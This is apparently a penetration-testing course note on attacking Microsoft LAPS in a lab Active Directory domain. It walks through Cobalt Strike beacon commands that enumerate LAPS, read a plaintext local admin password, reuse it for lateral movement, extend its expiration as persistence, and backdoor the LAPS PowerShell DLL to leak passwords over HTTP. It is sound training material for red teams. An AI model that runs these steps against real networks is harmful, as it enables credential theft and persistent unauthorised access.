02-Infrastructure, 02-Active Directory
Description: Β
Organizations will often have a βgolden imageβ of a desktop or laptop setup and usually they will use a common administrator password across all systems to ensure consistency and compliance. However this can result in every machine having the same password and allow an attacker to laterally move from system to system.
LAPS is a Microsoft solution for managing the credentials of a local administrator account on every machine, either the default RID 500 or a custom account. It ensures that the password for each account is different, random, and automatically changed on a defined schedule. Permissions to request and reset the credentials can be delegated, which are also auditable.
How it works:
- Β The Active Directory schema is extended and adds two new properties to computer objects, called ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime.
- Β By default, the DACL on ms-Mcs-AdmPwd only grants read access to Domain Admins. Β Each computer object is given permission to update these properties on itself.
- Β Rights to read AdmPwd can be delegated to other principals (users, groups etc), which is typically done at the OU level.
- Β A new GPO template is installed, which is used to deploy the LAPS configuration to machines (different policies can be applied to different OUs).
- Β The LAPS client is also installed on every machine (commonly distributed via GPO or a third-party software management solution).
- Β When a machine performs a gpupdate, it will check the AdmPwdExpirationTime property on its own computer object in AD. If the time has elapsed, it will generate a new password (based on the LAPS policy) and sets it on the ms-Mcs-AdmPwd property.
There are a few methods to hunt for the presence of LAPS. If its applied to a machine that you have access to AdmPwd.dll will be on disk.
beacon> run hostname
wkstn-2
beacon> ls C:\Program Files\LAPS\CSE
Β Size Β Β Type Β Β Last Modified Β Β Β Β Name
Β ---- Β Β ---- Β Β ------------- Β Β Β Β ----
Β 179kb Β Β fil Β Β 05/05/2021 07:04:14 Β AdmPwd.dll
We can also search for LAPS GPO
beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
usncreated Β Β Β Β Β Β Β : 25966
displayname Β Β Β Β Β Β Β : LAPS
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{C6DC5466-785
Β Β Β Β Β Β Β Β Β Β Β Β Β Β A-11D2-84D0-00C04FB169F7}{942A8E4F-A261-11D1-A760-00C04FB9603F}][{D76B9641-3288-4F75-942D-08
Β Β Β Β Β Β Β Β Β Β Β Β Β Β 7DE603E3EA}{D02B1F72-3407-48AE-BA88-E8213C6761F1}]
whenchanged Β Β Β Β Β Β Β : 8/16/2022 12:39:45 PM
objectclass Β Β Β Β Β Β Β : {top, container, groupPolicyContainer}
gpcfunctionalityversion Β : 2
showinadvancedviewonly Β : True
usnchanged Β Β Β Β Β Β Β : 26068
dscorepropagationdata Β Β : {9/7/2022 1:05:58 PM, 1/1/1601 12:00:00 AM}
name Β Β Β Β Β Β Β Β Β Β : {2BE4337D-D231-4D23-A029-7B999885E659}
flags Β Β Β Β Β Β Β Β Β Β : 1
cn Β Β Β Β Β Β Β Β Β Β Β : {2BE4337D-D231-4D23-A029-7B999885E659}
gpcfilesyspath Β Β Β Β Β : \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}
distinguishedname Β Β Β Β : CN={2BE4337D-D231-4D23-A029-7B999885E659},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
whencreated Β Β Β Β Β Β Β : 8/16/2022 12:20:45 PM
versionnumber Β Β Β Β Β Β : 17
instancetype Β Β Β Β Β Β : 4
objectguid Β Β Β Β Β Β Β : bbe274cc-6fcc-4e17-8804-bdc0ae952515
objectcategory Β Β Β Β Β : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=cyberbotic,DC=io
As well as computer objects where the ms-Mcs-AdmPwdExpirationTime
property is not null. Any domain user can read this property.
beacon> powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName
dnshostname Β Β Β Β Β Β Β
----------- Β Β Β Β Β Β Β
wkstn-2.dev.cyberbotic.io
web.dev.cyberbotic.io Β Β
sql-2.dev.cyberbotic.io Β
wkstn-1.dev.cyberbotic.io
If we locate the correct GPO, we can download the LAPS configuration from the gpcfilesyspath.
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
Β Size Β Β Type Β Β Last Modified Β Β Β Β Name
Β ---- Β Β ---- Β Β ------------- Β Β Β Β ----
Β Β Β Β Β dir Β Β 08/16/2022 12:39:19 Β Applications
Β Β Β Β Β dir Β Β 09/13/2022 15:38:58 Β Microsoft
Β Β Β Β Β dir Β Β 08/16/2022 12:23:37 Β Preferences
Β Β Β Β Β dir Β Β 08/16/2022 12:21:04 Β Scripts
Β 575b Β Β fil Β Β 08/16/2022 12:22:23 Β comment.cmtx
Β 920b Β Β fil Β Β 08/16/2022 12:22:23 Β Registry.pol
beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol
[*] started download of \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol (920 bytes)
[*] download of Registry.pol is complete
Registry.pol
The Parse-PolFile
cmdlet from the GPRegistryPolicyParser package can be used to convert this file into human-readable format.
PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol
KeyName Β Β : Software\Policies\Microsoft Services\AdmPwd
ValueName Β : PasswordComplexity
ValueType Β : REG_DWORD
ValueLength : 4
ValueData Β : 3
KeyName Β Β : Software\Policies\Microsoft Services\AdmPwd
ValueName Β : PasswordLength
ValueType Β : REG_DWORD
ValueLength : 4
ValueData Β : 14
KeyName Β Β : Software\Policies\Microsoft Services\AdmPwd
ValueName Β : PasswordAgeDays
ValueType Β : REG_DWORD
ValueLength : 4
ValueData Β : 30
KeyName Β Β : Software\Policies\Microsoft Services\AdmPwd
ValueName Β : AdminAccountName
ValueType Β : REG_SZ
ValueLength : 20
ValueData Β : LapsAdmin
KeyName Β Β : Software\Policies\Microsoft Services\AdmPwd
ValueName Β : AdmPwdEnabled
ValueType Β : REG_DWORD
ValueLength : 4
ValueData Β : 1
KeyName Β Β : Software\Policies\Microsoft Services\AdmPwd
ValueName Β : PwdExpirationProtectionEnabled
ValueType Β : REG_DWORD
ValueLength : 4
ValueData Β : 0
This tells us that:
-
Β Password complexity is upper, lower and numbers.
-
Β Password length is 14.
-
Β Passwords are changed every 30 days.
-
Β The LAPS managed account name is LapsAdmin.
-
Β Password expiration protection is disabled.
ms-Mcs-AdmPwd
We can use powershell to objects that are allowed to read the ms-Mcs-AdmPwd
attribute by reading its DACL on each computer object.
beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier
ObjectDN Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β SecurityIdentifier Β Β Β Β Β Β Β Β Β Β Β Β Β
-------- Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β ------------------ Β Β Β Β Β Β Β Β Β Β Β Β Β
CN=WKSTN-2,OU=Workstations,DC=dev,DC=cyberbotic,DC=io Β Β Β Β S-1-5-21-569305411-121244042-2357301523-1107
CN=WEB,OU=Web Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io Β S-1-5-21-569305411-121244042-2357301523-1108
CN=SQL-2,OU=SQL Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io S-1-5-21-569305411-121244042-2357301523-1108
CN=WKSTN-1,OU=Workstations,DC=dev,DC=cyberbotic,DC=io Β Β Β Β S-1-5-21-569305411-121244042-2357301523-1107
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1108
DEV\Support Engineers
Dedicated tooling such as the LAPSToolkit also exist. Β Find-LAPSDelegatedGroups
will query each OU and find domain groups that have delegated read access.
beacon> powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1
beacon> powershell Find-LAPSDelegatedGroups
OrgUnit Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Delegated Groups Β Β
------- Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β ---------------- Β Β
OU=Workstations,DC=dev,DC=cyberbotic,DC=io Β Β Β Β Β DEV\Developers Β Β Β
OU=Servers,DC=dev,DC=cyberbotic,DC=io Β Β Β Β Β Β Β Β DEV\Support Engineers
OU=Web Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io DEV\Support Engineers
OU=SQL Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io DEV\Support Engineers
Find-AdmPwdExtendedRights
goes a little deeper and queries each individual computer for users that have βAll Extended Rightsβ. Β This will reveal any users that can read the attribute without having had it specifically delegated to them.
To get a computerβs password, simply read the attribute.
beacon> getuid
[*] You are DEV\bfarmer
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd
ms-mcs-admpwd
-------------
1N3FyjJR5L18za
In Cobalt Strike the make_token
command is an easy way to leverage it
beacon> make_token .\LapsAdmin 1N3FyjJR5L18za
[+] Impersonated DEV\bfarmer
beacon> ls \\wkstn-1\c$
[*] Listing: \\wkstn-1\c$\
Size Β Β Type Β Β Last Modified Β Β Β Β Name
---- Β Β ---- Β Β ------------- Β Β Β Β ----
Β Β Β Β Β dir Β Β 08/16/2022 08:17:30 Β $Recycle.Bin
Β Β Β Β Β dir Β Β 08/15/2022 22:22:31 Β $WinREAgent
Β Β Β Β Β dir Β Β 01/27/2022 18:18:49 Β Documents and Settings
Β Β Β Β Β dir Β Β 12/07/2019 09:14:52 Β PerfLogs
Β Β Β Β Β dir Β Β 08/22/2022 00:15:03 Β Program Files
Β Β Β Β Β dir Β Β 10/06/2021 13:57:25 Β Program Files (x86)
Β Β Β Β Β dir Β Β 09/14/2022 09:50:27 Β ProgramData
Β Β Β Β Β dir Β Β 08/17/2022 17:52:54 Β Recovery
Β Β Β Β Β dir Β Β 09/14/2022 09:35:54 Β System Volume Information
Β Β Β Β Β dir Β Β 08/16/2022 08:15:58 Β Users
Β Β Β Β Β dir Β Β 09/09/2022 10:38:50 Β Windows
Β 8kb Β Β Β fil Β Β 09/14/2022 08:12:19 Β DumpStack.log.tmp
Β 796mb Β Β fil Β Β 09/14/2022 08:12:19 Β hiberfil.sys
Β 704mb Β Β fil Β Β 09/14/2022 08:12:19 Β pagefile.sys
Β 16mb Β Β fil Β Β 09/14/2022 08:12:19 Β swapfile.sys
Password Expiration Protection
One of the LAPS policy settings is called βDo not allow password expiration time longer than required by policyβ. In short, this is the PwdExpirationProtectionEnabled configuration that we read from the Registry.pol file. When enabled this polucy prevents a user or computer setting the expiration date of a password beyond the password age specified in the PasswordAgeDays
setting.
For example here: Registry.pol. The PasswordAgeDays is set to 30 days. So if a password was set on Jan 1st 2022 it expires on Jan 31st 2022. If the password expiration protection is enabled and we attempt to modify its expiration date beyond 31st January, it would trigger an automatic reset of that password.
The Password Expiration Protection is not configured / disabled by default.
If we were able to compromise a workstation using its LAPS password we can set its expiration long into the future as a form of persistence. The expiration data is an 18 digit timestamp calculated as the number of 100-nanosecond intervals that have elapsed since Jan 1st 1601 (NOT SURE WHY ITS 1601).
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
ms-mcs-admpwdexpirationtime ms-mcs-admpwd
--------------------------- -------------
Β Β Β Β Β 133101494718702551 1N3FyjJR5L18za
Where 133101494718702551
is Thursday, 13 October 2022 15:44:31 GMT using the following converter: https://www.epochconverter.com/ldap
So if we want to push the expiry out by 10 years we can overwrite tis value with 136257686710000000
Every computer has delegated access to write to this password field, so we must elevate to SYSTEM on the workstation.
beacon> run hostname
wkstn-1
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> powershell Set-DomainObject -Identity wkstn-1 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose
Setting 'ms-Mcs-AdmPwdExpirationTime' to '136257686710000000' for object 'WKSTN-1$'
LAPS Backdoors
We can leverage LAPS Powershell cmdlet Get-AdmPwdPassword
. If installed on a machine, the LAPS Powershell modules can be found under C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS
Since Powershell uses the .NET Framwork, the DLLs here are written in C# which makes them fairly trivial to download, modify and reupload. Download AdmPwd.PS.dll and AdmPwd.Utils.dll, synce them to your attacking machine and open AdmPwd.PS.dll with dnSpy. Using the Assembly Explorer to drill down into the DLL, namespaces and classes until you find the GetPassword method.
This method called DirectoryUtils.GetPasswordInfo
which returns a Password Info
object. You can click on the name and dnSpy will take you to the class definition. It contains properties for ComputerName
, DistingustedName
, Password
, and ExpirationTimestamp
. The password is simply the plaintext password that is shown to the admin.
Lets modify the code to send the plaintext passwords to us over an HTTP Get request.
NOTICE: This is obviously an irresponsible method to use in the real world, because the plaintext password is being sent unencrypted over the wire. Β This is just an example.
Resources:
| Title | URL |
| ----- | --- |
| LAPSToolkit | https://github.com/leoloobeek/LAPSToolkit |
|GPRegistryPolicyParser |https://github.com/PowerShell/GPRegistryPolicyParser|
Also Check Out:
- PLACEHOLDER